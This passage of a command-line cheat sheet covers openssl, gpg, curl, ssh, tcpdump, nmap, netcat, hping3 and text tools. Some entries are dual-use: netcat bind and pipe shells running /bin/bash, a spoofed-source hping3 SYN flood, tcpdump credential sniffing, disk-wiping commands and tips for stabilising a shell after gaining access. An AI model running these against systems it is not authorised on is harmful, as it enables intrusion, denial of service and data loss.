( _fd="domain.key" ; _fd_out="domain.crt" ; _len="2048" ; _days="365" ; \
openssl req -newkey rsa:${_len} -nodes \
-keyout ${_fd} -x509 -days ${_days} -out ${_fd_out} )
```

###### Generate self-signed certificate from existing private key

```bash
# _len: 2048, 4096
( _fd="domain.key" ; _fd_out="domain.crt" ; _days="365" ; \
openssl req -key ${_fd} -nodes \
-x509 -days ${_days} -out ${_fd_out} )
```

###### Generate self-signed certificate from existing private key and csr

```bash
# _len: 2048, 4096
( _fd="domain.key" ; _fd_csr="domain.csr" ; _fd_out="domain.crt" ; _days="365" ; \
openssl x509 -signkey ${_fd} -nodes \
-in ${_fd_csr} -req -days ${_days} -out ${_fd_out} )
```

###### Generate DH public parameters

```bash
( _dh_size="2048" ; \
openssl dhparam -out /etc/nginx/ssl/dhparam_${_dh_size}.pem "$_dh_size" )
```

###### Display DH public parameters

```bash
openssl pkeyparam -in dhparam.pem -text
```

###### Extract private key from pfx

```bash
( _fd_pfx="cert.pfx" ; _fd_key="key.pem" ; \
openssl pkcs12 -in ${_fd_pfx} -nocerts -nodes -out ${_fd_key} )
```

###### Extract private key and certs from pfx

```bash
( _fd_pfx="cert.pfx" ; _fd_pem="key_certs.pem" ; \
openssl pkcs12 -in ${_fd_pfx} -nodes -out ${_fd_pem} )
```

###### Extract certs from p7b

```bash
# PKCS#7 file doesn't include private keys.
( _fd_p7b="cert.p7b" ; _fd_pem="cert.pem" ; \
openssl pkcs7 -inform DER -outform PEM -in ${_fd_p7b} -print_certs > ${_fd_pem})
# or:
openssl pkcs7 -print_certs -in -in ${_fd_p7b} -out ${_fd_pem})
```

###### Convert DER to PEM

```bash
( _fd_der="cert.crt" ; _fd_pem="cert.pem" ; \
openssl x509 -in ${_fd_der} -inform der -outform pem -out ${_fd_pem} )
```

###### Convert PEM to DER

```bash
( _fd_der="cert.crt" ; _fd_pem="cert.pem" ; \
openssl x509 -in ${_fd_pem} -outform der -out ${_fd_der} )
```

###### Verification of the private key

```bash
( _fd="private.key" ; \
openssl rsa -noout -text -in ${_fd} )
```

###### Verification of the public key

```bash
# 1)
( _fd="public.key" ; \
openssl pkey -noout -text -pubin -in ${_fd} )

# 2)
( _fd="private.key" ; \
openssl rsa -inform PEM -noout -in ${_fd} &> /dev/null ; \
if [ $? = 0 ] ; then echo -en "OK\n" ; fi )
```

###### Verification of the certificate

```bash
( _fd="certificate.crt" ; # format: pem, cer, crt \
openssl x509 -noout -text -in ${_fd} )
```

###### Verification of the CSR

```bash
( _fd_csr="request.csr" ; \
openssl req -text -noout -in ${_fd_csr} )
```

###### Check the private key and the certificate are match

```bash
(openssl rsa -noout -modulus -in private.key | openssl md5 ; \
openssl x509 -noout -modulus -in certificate.crt | openssl md5) | uniq
```

###### Check the private key and the CSR are match

```bash
(openssl rsa -noout -modulus -in private.key | openssl md5 ; \
openssl req -noout -modulus -in request.csr | openssl md5) | uniq
```

___

##### Tool: [secure-delete](https://wiki.archlinux.org/index.php/Securely_wipe_disk)

###### Secure delete with shred

```bash
shred -vfuz -n 10 file
shred --verbose --random-source=/dev/urandom -n 1 /dev/sda
```

###### Secure delete with scrub

```bash
scrub -p dod /dev/sda
scrub -p dod -r file
```

###### Secure delete with badblocks

```bash
badblocks -s -w -t random -v /dev/sda
badblocks -c 10240 -s -w -t random -v /dev/sda
```

###### Secure delete with secure-delete

```bash
srm -vz /tmp/file
sfill -vz /local
sdmem -v
swapoff /dev/sda5 && sswap -vz /dev/sda5
```

___

##### Tool: [dd](https://en.wikipedia.org/wiki/Dd_(Unix))

###### Show dd status every so often

```bash
dd <dd_params> status=progress
watch --interval 5 killall -USR1 dd
```

###### Redirect output to a file with dd

```bash
echo "string" | dd of=filename
```

___

##### Tool: [gpg](https://www.gnupg.org/)

###### Export public key

```bash
gpg --export --armor "<username>" > username.pkey
```

* `--export` - export all keys from all keyrings or specific key
  * `-a|--armor` - create ASCII armored output

###### Encrypt file

```bash
gpg -e -r "<username>" dump.sql
```

* `-e|--encrypt` - encrypt data
 * `-r|--recipient` - encrypt for specific <username>

###### Decrypt file

```bash
gpg -o dump.sql -d dump.sql.gpg
```

* `-o|--output` - use as output file
  * `-d|--decrypt` - decrypt data (default)

###### Search recipient

```bash
gpg --keyserver hkp://keyserver.ubuntu.com --search-keys "<username>"
```

* `--keyserver` - set specific key server
  * `--search-keys` - search for keys on a key server

###### List all of the packets in an encrypted file

```bash
gpg --batch --list-packets archive.gpg
gpg2 --batch --list-packets archive.gpg
```

___

##### Tool: [system-other](https://github.com/trimstray/the-book-of-secret-knowledge#tool-system-other)

###### Reboot system from init

```bash
exec /sbin/init 6
```

###### Init system from single user mode

```bash
exec /sbin/init
```

###### Show current working directory of a process

```bash
readlink -f /proc/<PID>/cwd
```

###### Show actual pathname of the executed command

```bash
readlink -f /proc/<PID>/exe
```

##### Tool: [curl](https://curl.haxx.se)

```bash
curl -Iks https://www.google.com
```

* `-I` - show response headers only
  * `-k` - insecure connection when using ssl
  * `-s` - silent mode (not display body)

```bash
curl -Iks --location -X GET -A "x-agent" https://www.google.com
```

* `--location` - follow redirects
  * `-X` - set method
  * `-A` - set user-agent

```bash
curl -Iks --location -X GET -A "x-agent" --proxy http://127.0.0.1:16379 https://www.google.com
```

* `--proxy [socks5://|http://]` - set proxy server

```bash
curl -o file.pdf -C - https://example.com/Aiju2goo0Ja2.pdf
```

* `-o` - write output to file
  * `-C` - resume the transfer

###### Find your external IP address (external services)

```bash
curl ipinfo.io
curl ipinfo.io/ip
curl icanhazip.com
curl ifconfig.me/ip ; echo
```

###### Repeat URL request

```bash
# URL sequence substitution with a dummy query string:
curl -ks https://example.com/?[1-20]

# With shell 'for' loop:
for i in {1..20} ; do curl -ks https://example.com/ ; done
```

###### Check DNS and HTTP trace with headers for specific domains

```bash
### Set domains and external dns servers.
_domain_list=(google.com) ; _dns_list=("8.8.8.8" "1.1.1.1")

for _domain in "${_domain_list[@]}" ; do

printf '=%.0s' {1..48}

echo

printf "[\\e[1;32m+\\e[m] resolve: %s\\n" "$_domain"

for _dns in "${_dns_list[@]}" ; do

# Resolve domain.
    host "${_domain}" "${_dns}"

echo

done

for _proto in http https ; do

printf "[\\e[1;32m+\\e[m] trace + headers: %s://%s\\n" "$_proto" "$_domain"

# Get trace and http headers.
    curl -Iks -A "x-agent" --location "${_proto}://${_domain}"

echo

done

unset _domain_list _dns_list
```

___

##### Tool: [httpie](https://httpie.org/)

```bash
http -p Hh https://www.google.com
```

* `-p` - print request and response headers
    * `H` - request headers
    * `B` - request body
    * `h` - response headers
    * `b` - response body

```bash
http -p Hh https://www.google.com --follow --verify no
```

* `-F, --follow` - follow redirects
  * `--verify no` - skip SSL verification

```bash
http -p Hh https://www.google.com --follow --verify no \
--proxy http:http://127.0.0.1:16379
```

* `--proxy [http:]` - set proxy server

##### Tool: [ssh](https://www.openssh.com/)

###### Escape Sequence

```
# Supported escape sequences:
~.  - terminate connection (and any multiplexed sessions)
~B  - send a BREAK to the remote system
~C  - open a command line
~R  - Request rekey (SSH protocol 2 only)
~^Z - suspend ssh
~#  - list forwarded connections
~&  - background ssh (when waiting for connections to terminate)
~?  - this message
~~  - send the escape character by typing it twice
```

###### Compare a remote file with a local file

```bash
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
```

###### SSH connection through host in the middle

```bash
ssh -t reachable_host ssh unreachable_host
```

###### Run command over SSH on remote host

```bash
cat > cmd.txt << __EOF__
cat /etc/hosts
__EOF__

ssh host -l user $(<cmd.txt)
```

###### Get public key from private key

```bash
ssh-keygen -y -f ~/.ssh/id_rsa
```

###### Get all fingerprints

```bash
ssh-keygen -l -f .ssh/known_hosts
```

###### SSH authentication with user password

```bash
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no user@remote_host
```

###### SSH authentication with publickey

```bash
ssh -o PreferredAuthentications=publickey -o PubkeyAuthentication=yes -i id_rsa user@remote_host
```

###### Simple recording SSH session

```bash
function _ssh_sesslog() {

_sesdir="<path/to/session/logs>"

mkdir -p "${_sesdir}" && \
  ssh $@ 2>&1 | tee -a "${_sesdir}/$(date +%Y%m%d).log"

}

# Alias:
alias ssh='_ssh_sesslog'
```

###### Using Keychain for SSH logins

```bash
### Delete all of ssh-agent's keys.
function _scl() {

/usr/bin/keychain --clear

}

### Add key to keychain.
function _scg() {

/usr/bin/keychain /path/to/private-key
  source "$HOME/.keychain/$HOSTNAME-sh"

}
```

###### SSH login without processing any login scripts

```bash
ssh -tt user@host bash
```

###### SSH local port forwarding

Example 1:

```bash
# Forwarding our local 2250 port to nmap.org:443 from localhost through localhost
host1> ssh -L 2250:nmap.org:443 localhost

# Connect to the service:
host1> curl -Iks --location -X GET https://localhost:2250
```

Example 2:

```bash
# Forwarding our local 9051 port to db.d.x:5432 from localhost through node.d.y
host1> ssh -nNT -L 9051:db.d.x:5432 node.d.y

# Connect to the service:
host1> psql -U db_user -d db_dev -p 9051 -h localhost
```

* `-n` - redirects stdin from `/dev/null`
  * `-N` - do not execute a remote command
  * `-T` - disable pseudo-terminal allocation

###### SSH remote port forwarding

```bash
# Forwarding our local 9051 port to db.d.x:5432 from host2 through node.d.y
host1> ssh -nNT -R 9051:db.d.x:5432 node.d.y

# Connect to the service:
host2> psql -U postgres -d postgres -p 8000 -h localhost
```

___

##### Tool: [linux-dev](https://www.tldp.org/LDP/abs/html/devref1.html)

###### Testing remote connection to port

```bash
timeout 1 bash -c "</dev/<proto>/<host>/<port>" >/dev/null 2>&1 ; echo $?
```

* `<proto` - set protocol (tcp/udp)
 * `<host>` - set remote host
 * `<port>` - set destination port

###### Read and write to TCP or UDP sockets with common bash tools

```bash
exec 5<>/dev/tcp/<host>/<port>; cat <&5 & cat >&5; exec 5>&-
```

___

##### Tool: [tcpdump](http://www.tcpdump.org/)

###### Filter incoming (on interface) traffic (specific <ip:port>)

```bash
tcpdump -ne -i eth0 -Q in host 192.168.252.1 and port 443
```

* `-n` - don't convert addresses (`-nn` will not resolve hostnames or ports)
  * `-e` - print the link-level headers
  * `-i [iface|any]` - set interface
  * `-Q|-D [in|out|inout]` - choose send/receive direction (`-D` - for old tcpdump versions)
  * `host [ip|hostname]` - set host, also `[host not]`
  * `[and|or]` - set logic
  * `port [1-65535]` - set port number, also `[port not]`

###### Filter incoming (on interface) traffic (specific <ip:port>) and write to a file

```bash
tcpdump -ne -i eth0 -Q in host 192.168.252.1 and port 443 -c 5 -w tcpdump.pcap
```

* `-c [num]` - capture only num number of packets
  * `-w [filename]` - write packets to file, `-r [filename]` - reading from file

###### Capture all ICMP packets

```bash
tcpdump -nei eth0 icmp
```

###### Check protocol used (TCP or UDP) for service

```bash
tcpdump -nei eth0 tcp port 22 -vv -X | egrep "TCP|UDP"
```

###### Display ASCII text (to parse the output using grep or other)

```bash
tcpdump -i eth0 -A -s0 port 443
```

###### Grab everything between two keywords

```bash
tcpdump -i eth0 port 80 -X | sed -n -e '/username/,/=ldap/ p'
```

###### Grab user and pass ever plain http

###### Extract HTTP User Agent from HTTP request header

```bash
tcpdump -ei eth0 -nn -A -s1500 -l | grep "User-Agent:"
```

###### Capture only HTTP GET and POST packets

```bash
tcpdump -ei eth0 -s 0 -A -vv \
'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420' or 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
```

or simply:

```bash
tcpdump -ei eth0 -s 0 -v -n -l | egrep -i "POST /|GET /|Host:"
```

###### Rotate capture files

```bash
tcpdump -ei eth0 -w /tmp/capture-%H.pcap -G 3600 -C 200
```

* `-G <num>` - pcap will be created every `<num>` seconds
 * `-C <size>` - close the current pcap and open a new one if is larger than `<size>`

###### Top hosts by packets

###### Excludes any RFC 1918 private address

```bash
tcpdump -nei eth0 'not (src net (10 or 172.16/12 or 192.168/16) and dst net (10 or 172.16/12 or 192.168/16))'
```

___

##### Tool: [tcpick](http://tcpick.sourceforge.net/)

###### Analyse packets in real-time

```bash
while true ; do tcpick -a -C -r dump.pcap ; sleep 2 ; clear ; done
```

___

##### Tool: [ngrep](http://ngrep.sourceforge.net/usage.html)

```bash
ngrep -d eth0 "www.domain.com" port 443
```

* `-d [iface|any]` - set interface
  * `[domain]` - set hostname
  * `port [1-65535]` - set port number

```bash
ngrep -d eth0 "www.domain.com" src host 10.240.20.2 and port 443
```

* `(host [ip|hostname])` - filter by ip or hostname
  * `(port [1-65535])` - filter by port number

```bash
ngrep -d eth0 -qt -O ngrep.pcap "www.domain.com" port 443
```

* `-q` - quiet mode (only payloads)
  * `-t` - added timestamps
  * `-O [filename]` - save output to file, `-I [filename]` - reading from file

```bash
ngrep -d eth0 -qt 'HTTP' 'tcp'
```

* `HTTP` - show http headers
  * `tcp|udp` - set protocol
  * `[src|dst] host [ip|hostname]` - set direction for specific node

```bash
ngrep -l -q -d eth0 -i "User-Agent: curl*"
```

* `-l` - stdout line buffered
  * `-i` - case-insensitive search

___

##### Tool: [hping3](http://www.hping.org/)

```bash
hping3 -V -p 80 -s 5050 <scan_type> www.google.com
```

* `-V|--verbose` - verbose mode
 * `-p|--destport` - set destination port
 * `-s|--baseport` - set source port
 * `<scan_type>` - set scan type
 * `-F|--fin` - set FIN flag, port open if no reply
 * `-S|--syn` - set SYN flag
 * `-P|--push` - set PUSH flag
 * `-A|--ack` - set ACK flag (use when ping is blocked, RST response back if the port is open)
 * `-U|--urg` - set URG flag
 * `-Y|--ymas` - set Y unused flag (0x80 - nullscan), port open if no reply
 * `-M 0 -UPF` - set TCP sequence number and scan type (URG+PUSH+FIN), port open if no reply

```bash
hping3 -V -c 1 -1 -C 8 www.google.com
```

* `-c [num]` - packet count
  * `-1` - set ICMP mode
  * `-C|--icmptype [icmp-num]` - set icmp type (default icmp-echo = 8)

```bash
hping3 -V -c 1000000 -d 120 -S -w 64 -p 80 --flood --rand-source <remote_host>
```

* `--flood` - sent packets as fast as possible (don't show replies)
  * `--rand-source` - random source address mode
  * `-d --data` - data size
  * `-w|--win` - winsize (default 64)

___

##### Tool: [nmap](https://nmap.org/)

###### Ping scans the network

```bash
nmap -sP 192.168.0.0/24
```

###### Show only open ports

```bash
nmap -F --open 192.168.0.0/24
```

###### Full TCP port scan using with service version detection

```bash
nmap -p 1-65535 -sV -sS -T4 192.168.0.0/24
```

###### Nmap scan and pass output to Nikto

```bash
nmap -p80,443 192.168.0.0/24 -oG - | nikto.pl -h -
```

###### Recon specific ip:service with Nmap NSE scripts stack

```bash
# Set variables:
_hosts="192.168.250.10"
_ports="80,443"

# Set Nmap NSE scripts stack:
_nmap_nse_scripts="+dns-brute,\
                   +http-auth-finder,\
                   +http-chrono,\
                   +http-cookie-flags,\
                   +http-cors,\
                   +http-cross-domain-policy,\
                   +http-csrf,\
                   +http-dombased-xss,\
                   +http-enum,\
                   +http-errors,\
                   +http-git,\
                   +http-grep,\
                   +http-internal-ip-disclosure,\
                   +http-jsonp-detection,\
                   +http-malware-host,\
                   +http-methods,\
                   +http-passwd,\
                   +http-phpself-xss,\
                   +http-php-version,\
                   +http-robots.txt,\
                   +http-sitemap-generator,\
                   +http-shellshock,\
                   +http-stored-xss,\
                   +http-title,\
                   +http-unsafe-output-escaping,\
                   +http-useragent-tester,\
                   +http-vhosts,\
                   +http-waf-detect,\
                   +http-waf-fingerprint,\
                   +http-xssed,\
                   +traceroute-geolocation.nse,\
                   +ssl-enum-ciphers,\
                   +whois-domain,\
                   +whois-ip"

# Set Nmap NSE script params:
_nmap_nse_scripts_args="dns-brute.domain=${_hosts},http-cross-domain-policy.domain-lookup=true,"
_nmap_nse_scripts_args+="http-waf-detect.aggro,http-waf-detect.detectBodyChanges,"
_nmap_nse_scripts_args+="http-waf-fingerprint.intensive=1"

# Perform scan:
nmap --script="$_nmap_nse_scripts" --script-args="$_nmap_nse_scripts_args" -p "$_ports" "$_hosts"
```

___

##### Tool: [netcat](http://netcat.sourceforge.net/)

```bash
nc -kl 5000
```

* `-l` - listen for an incoming connection
  * `-k` - listening after client has disconnected
  * `>filename.out` - save receive data to file (optional)

```bash
nc 192.168.0.1 5051 < filename.in
```

* `< filename.in` - send data to remote host

```bash
nc -vz 10.240.30.3 5000
```

* `-v` - verbose output
  * `-z` - scan for listening daemons

```bash
nc -vzu 10.240.30.3 1-65535
```

* `-u` - scan only udp ports

###### Transfer data file (archive)

```bash
server> nc -l 5000 | tar xzvfp -
client> tar czvfp - /path/to/dir | nc 10.240.30.3 5000
```

###### Launch remote shell

```bash
# 1)
server> nc -l 5000 -e /bin/bash
client> nc 10.240.30.3 5000

# 2)
server> rm -f /tmp/f; mkfifo /tmp/f
server> cat /tmp/f | /bin/bash -i 2>&1 | nc -l 127.0.0.1 5000 > /tmp/f
client> nc 10.240.30.3 5000
```

###### Simple file server

```bash
while true ; do nc -l 5000 | tar -xvf - ; done
```

###### Simple minimal HTTP Server

```bash
while true ; do nc -l -p 1500 -c 'echo -e "HTTP/1.1 200 OK\n\n $(date)"' ; done
```

###### Simple HTTP Server

> Restarts web server after each request - remove `while` condition for only single connection.

```bash
cat > index.html << __EOF__
<!doctype html>
 <head>
 <meta charset="utf-8">
 <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
 <title></title>
 <meta name="description" content="">
 <meta name="viewport" content="width=device-width, initial-scale=1">
 </head>
 <body>

Hello! It's a site.

</body>
</html>
__EOF__
```

```bash
server> while : ; do \
(echo -ne "HTTP/1.1 200 OK\r\nContent-Length: $(wc -c <index.html)\r\n\r\n" ; cat index.html;) | \
nc -l -p 5000 \
; done
```

* `-p` - port number

###### Simple HTTP Proxy (single connection)

```bash
#!/usr/bin/env bash

if [[ $# != 2 ]] ; then
  printf "%s\\n" \
         "usage: ./nc-proxy listen-port bk_host:bk_port"
fi

_listen_port="$1"
_bk_host=$(echo "$2" | cut -d ":" -f1)
_bk_port=$(echo "$2" | cut -d ":" -f2)

printf "  lport: %s\\nbk_host: %s\\nbk_port: %s\\n\\n" \
       "$_listen_port" "$_bk_host" "$_bk_port"

_tmp=$(mktemp -d)
_back="$_tmp/pipe.back"
_sent="$_tmp/pipe.sent"
_recv="$_tmp/pipe.recv"

trap 'rm -rf "$_tmp"' EXIT

mkfifo -m 0600 "$_back" "$_sent" "$_recv"

sed "s/^/=> /" <"$_sent" &
sed "s/^/<= /" <"$_recv" &

nc -l -p "$_listen_port" <"$_back" | \
tee "$_sent" | \
nc "$_bk_host" "$_bk_port" | \
tee "$_recv" >"$_back"
```

```bash
server> chmod +x nc-proxy && ./nc-proxy 8080 192.168.252.10:8000
  lport: 8080
bk_host: 192.168.252.10
bk_port: 8000

client> http -p h 10.240.30.3:8080
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=31536000
Content-Length: 2748
Content-Type: text/html; charset=utf-8
Date: Sun, 01 Jul 2018 20:12:08 GMT
Last-Modified: Sun, 01 Apr 2018 21:53:37 GMT
```

###### Create a single-use TCP or UDP proxy

```bash
### TCP -> TCP
nc -l -p 2000 -c "nc [ip|hostname] 3000"

### TCP -> UDP
nc -l -p 2000 -c "nc -u [ip|hostname] 3000"

### UDP -> UDP
nc -l -u -p 2000 -c "nc -u [ip|hostname] 3000"

### UDP -> TCP
nc -l -u -p 2000 -c "nc [ip|hostname] 3000"
```

___

##### Tool: [gnutls-cli](https://gnutls.org/manual/html_node/gnutls_002dcli-Invocation.html)

###### Testing connection to remote host (with SNI support)

```bash
gnutls-cli -p 443 google.com
```

###### Testing connection to remote host (without SNI support)

```bash
gnutls-cli --disable-sni -p 443 google.com
```

___

##### Tool: [socat](http://www.dest-unreach.org/socat/doc/socat.html)

###### Testing remote connection to port

```bash
socat - TCP4:10.240.30.3:22
```

* `-` - standard input (STDIO)
 * `TCP4:<params>` - set tcp4 connection with specific params
 * `[hostname|ip]` - set hostname/ip
 * `[1-65535]` - set port number

###### Redirecting TCP-traffic to a UNIX domain socket under Linux

```bash
socat TCP-LISTEN:1234,bind=127.0.0.1,reuseaddr,fork,su=nobody,range=127.0.0.0/8 UNIX-CLIENT:/tmp/foo
```

* `TCP-LISTEN:<params>` - set tcp listen with specific params
 * `[1-65535]` - set port number
 * `bind=[hostname|ip]` - set bind hostname/ip
 * `reuseaddr` - allows other sockets to bind to an address
 * `fork` - keeps the parent process attempting to produce more connections
 * `su=nobody` - set user
 * `range=[ip-range]` - ip range
 * `UNIX-CLIENT:<params>` - communicates with the specified peer socket
 * `filename` - define socket

___

##### Tool: [p0f](http://lcamtuf.coredump.cx/p0f3/)

###### Set iface in promiscuous mode and dump traffic to the log file

```bash
p0f -i enp0s25 -p -d -o /dump/enp0s25.log
```

* `-i` - listen on the specified interface
  * `-p` - set interface in promiscuous mode
  * `-d` - fork into background
  * `-o` - output file

___

##### Tool: [netstat](https://en.wikipedia.org/wiki/Netstat)

###### Graph # of connections for each hosts

```bash
netstat -an | awk '/ESTABLISHED/ { split($5,ip,":"); if (ip[1] !~ /^$/) print ip[1] }' | \
sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
```

###### Monitor open connections for specific port including listen, count and sort it per IP

```bash
watch "netstat -plan | grep :443 | awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"
```

###### Grab banners from local IPv4 listening ports

```bash
netstat -nlt | grep 'tcp ' | grep -Eo "[1-9][0-9]*" | xargs -I {} sh -c "echo "" | nc -v -n -w1 127.0.0.1 {}"
```

___

##### Tool: [rsync](https://en.wikipedia.org/wiki/Rsync)

###### Rsync remote data as root using sudo

```bash
rsync --rsync-path 'sudo rsync' username@hostname:/path/to/dir/ /local/
```

___

##### Tool: [host](https://en.wikipedia.org/wiki/Host_(Unix))

###### Resolves the domain name (using external dns server)

```bash
host google.com 9.9.9.9
```

###### Checks the domain administrator (SOA record)

```bash
host -t soa google.com 9.9.9.9
```

___

##### Tool: [dig](https://en.wikipedia.org/wiki/Dig_(command))

###### Resolves the domain name (short output)

```bash
dig google.com +short
```

###### Lookup NS record for specific domain

```bash
dig @9.9.9.9 google.com NS
```

###### Query only answer section

```bash
dig google.com +nocomments +noquestion +noauthority +noadditional +nostats
```

###### Query ALL DNS Records

```bash
dig google.com ANY +noall +answer
```

###### DNS Reverse Look-up

```bash
dig -x 172.217.16.14 +short
```

___

##### Tool: [certbot](https://certbot.eff.org/)

###### Generate multidomain certificate

```bash
certbot certonly -d example.com -d www.example.com
```

###### Generate wildcard certificate

```bash
certbot certonly --manual --preferred-challenges=dns -d example.com -d *.example.com
```

###### Generate certificate with 4096 bit private key

```bash
certbot certonly -d example.com -d www.example.com --rsa-key-size 4096
```

___

##### Tool: [network-other](https://github.com/trimstray/the-book-of-secret-knowledge#tool-network-other)

###### Get all subnets for specific AS (Autonomous system)

```bash
AS="AS32934"
whois -h whois.radb.net -- "-i origin ${AS}" | \
grep "^route:" | \
cut -d ":" -f2 | \
sed -e 's/^[ \t]//' | \
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | \
cut -d ":" -f2 | \
sed -e 's/^[ \t]/allow /' | \
sed 's/$/;/' | \
sed 's/allow  */subnet -> /g'
```

###### Resolves domain name from dns.google.com with curl and jq

```bash
_dname="google.com" ; curl -s "https://dns.google.com/resolve?name=${_dname}&type=A" | jq .
```

##### Tool: [git](https://git-scm.com/)

###### Log alias for a decent view of your repo

```bash
# 1)
git log --oneline --decorate --graph --all

# 2)
git log --graph \
--pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' \
--abbrev-commit
```

___

##### Tool: [python](https://www.python.org/)

###### Static HTTP web server

```bash
# Python 3.x
python3 -m http.server 8000 --bind 127.0.0.1

# Python 2.x
python -m SimpleHTTPServer 8000
```

###### Static HTTP web server with SSL support

```bash
# Python 3.x
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('localhost', 4443), BaseHTTPRequestHandler)

httpd.socket = ssl.wrap_socket (httpd.socket,
        keyfile="path/to/key.pem",
        certfile='path/to/cert.pem', server_side=True)

httpd.serve_forever()

# Python 2.x
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('localhost', 4443),
        SimpleHTTPServer.SimpleHTTPRequestHandler)

httpd.socket = ssl.wrap_socket (httpd.socket,
        keyfile="path/tp/key.pem",
        certfile='path/to/cert.pem', server_side=True)

httpd.serve_forever()
```

###### Encode base64

```bash
python -m base64 -e <<< "sample string"
```

###### Decode base64

```bash
python -m base64 -d <<< "dGhpcyBpcyBlbmNvZGVkCg=="
```

##### Tool: [awk](http://www.grymoire.com/Unix/Awk.html)

###### Search for matching lines

```bash
# egrep foo
awk '/foo/' filename
```

###### Search non matching lines

```bash
# egrep -v foo
awk '!/foo/' filename
```

###### Print matching lines with numbers

```bash
# egrep -n foo
awk '/foo/{print FNR,$0}' filename
```

###### Print the last column

```bash
awk '{print $NF}' filename
```

###### Find all the lines longer than 80 characters

```bash
awk 'length($0)>80{print FNR,$0}' filename
```

###### Print only lines of less than 80 characters

```bash
awk 'length < 80' filename
```

###### Print double new lines a file

```bash
awk '1; { print "" }' filename
```

###### Print line numbers

```bash
awk '{ print FNR "\t" $0 }' filename
awk '{ printf("%5d : %s\n", NR, $0) }' filename   # in a fancy manner
```

###### Print line numbers for only non-blank lines

```bash
awk 'NF { $0=++a " :" $0 }; { print }' filename
```

###### Print the line and the next two (i=5) lines after the line matching regexp

```bash
awk '/foo/{i=5+1;}{if(i){i--; print;}}' filename
```

###### Print the lines starting at the line matching 'server {' until the line matching '}'

```bash
awk '/server {/,/}/' filename
```

###### Print multiple columns with separators

```bash
awk -F' ' '{print "ip:\t" $2 "\n port:\t" $3' filename
```

###### Remove empty lines

```bash
awk 'NF > 0' filename

# alternative:
awk NF filename
```

###### Delete trailing white space (spaces, tabs)

```bash
awk '{sub(/[ \t]*$/, "");print}' filename
```

###### Delete leading white space

```bash
awk '{sub(/^[ \t]+/, ""); print}' filename
```

###### Remove duplicate consecutive lines

```bash
# uniq
awk 'a !~ $0{print}; {a=$0}' filename
```

###### Remove duplicate entries in a file without sorting

```bash
awk '!x[$0]++' filename
```

###### Exclude multiple columns

```bash
awk '{$1=$3=""}1' filename
```

###### Substitute foo for bar on lines matching regexp

```bash
awk '/regexp/{gsub(/foo/, "bar")};{print}' filename
```

###### Add some characters at the beginning of matching lines

```bash
awk '/regexp/{sub(/^/, "++++"); print;next;}{print}' filename
```

###### Get the last hour of Apache logs

```bash
awk '/'$(date -d "1 hours ago" "+%d\\/%b\\/%Y:%H:%M")'/,/'$(date "+%d\\/%b\\/%Y:%H:%M")'/ { print $0 }' \
/var/log/httpd/access_log
```

___

##### Tool: [sed](http://www.grymoire.com/Unix/Sed.html)

###### Print a specific line from a file

```bash
sed -n 10p /path/to/file
```

###### Remove a specific line from a file

```bash
sed -i 10d /path/to/file
# alternative (BSD): sed -i'' 10d /path/to/file
```

###### Remove a range of lines from a file

```bash
sed -i <file> -re '<start>,<end>d'
```

###### Replace newline(s) with a space

```bash
sed ':a;N;$!ba;s/\n/ /g' /path/to/file

# cross-platform compatible syntax:
sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/ /g' /path/to/file
```

- `:a` create a label `a`
- `N` append the next line to the pattern space
- `$!` if not the last line, ba branch (go to) label `a`
- `s` substitute, `/\n/` regex for new line, `/ /` by a space, `/g` global match (as many times as it can)

Alternatives:

```bash
# perl version (sed-like speed):
perl -p -e 's/\n/ /' /path/to/file

# bash version (slow):
while read line ; do printf "%s" "$line " ; done < file
```

###### Delete string +N next lines

```bash
sed '/start/,+4d' /path/to/file
```

___

##### Tool: [grep](http://www.grymoire.com/Unix/Grep.html)

###### Search for a "pattern" inside all files in the current directory

```bash
grep -rn "pattern"
grep -RnisI "pattern" *
fgrep "pattern" * -R
```

###### Show only for multiple patterns

```bash
grep 'INFO*'\''WARN' filename
grep 'INFO\|WARN' filename
grep -e INFO -e WARN filename
grep -E '(INFO|WARN)' filename
egrep "INFO|WARN" filename
```

###### Except multiple patterns

```bash
grep -vE '(error|critical|warning)' filename
```

###### Show data from file without comments

```bash
grep -v ^[[:space:]]*# filename
```

###### Show data from file without comments and new lines

```bash
egrep -v '#|^$' filename
```

###### Show strings with a dash/hyphen

```bash
grep -e -- filename
grep -- -- filename
grep "\-\-" filename
```

###### Remove blank lines from a file and save output to new file

```bash
grep . filename > newfilename
```

##### Tool: [perl](https://www.perl.org/)

###### Search and replace (in place)

```bash
perl -i -pe's/SEARCH/REPLACE/' filename
```

###### Edit of `*.conf` files changing all foo to bar (and backup original)

```bash
perl -p -i.orig -e 's/\bfoo\b/bar/g' *.conf
```

###### Prints the first 20 lines from `*.conf` files

```bash
perl -pe 'exit if $. > 20' *.conf
```

###### Search lines 10 to 20

```bash
perl -ne 'print if 10 .. 20' filename
```

###### Delete first 10 lines (and backup original)

```bash
perl -i.orig -ne 'print unless 1 .. 10' filename
```

###### Delete all but lines between foo and bar (and backup original)

```bash
perl -i.orig -ne 'print unless /^foo$/ .. /^bar$/' filename
```

###### Reduce multiple blank lines to a single line

```bash
perl -p -i -00pe0 filename
```

###### Convert tabs to spaces (1t = 2sp)

```bash
perl -p -i -e 's/\t/  /g' filename
```

###### Read input from a file and report number of lines and characters

```bash
perl -lne '$i++; $in += length($_); END { print "$i lines, $in characters"; }' filename
```

#### Shell Tricks &nbsp;[[TOC]](#anger-table-of-contents)

When you get a shell, it is generally not very clean, but after following these steps, you will have a fairly clean and comfortable shell to work with.

1) `script /dev/null -c bash`
2) Ctrl-Z (to send it to background)
3) `stty raw -echo; fg` (returns the shell to foreground)
4) `reset` (to reset terminal)
5) `xterm` (when asked for terminal type)
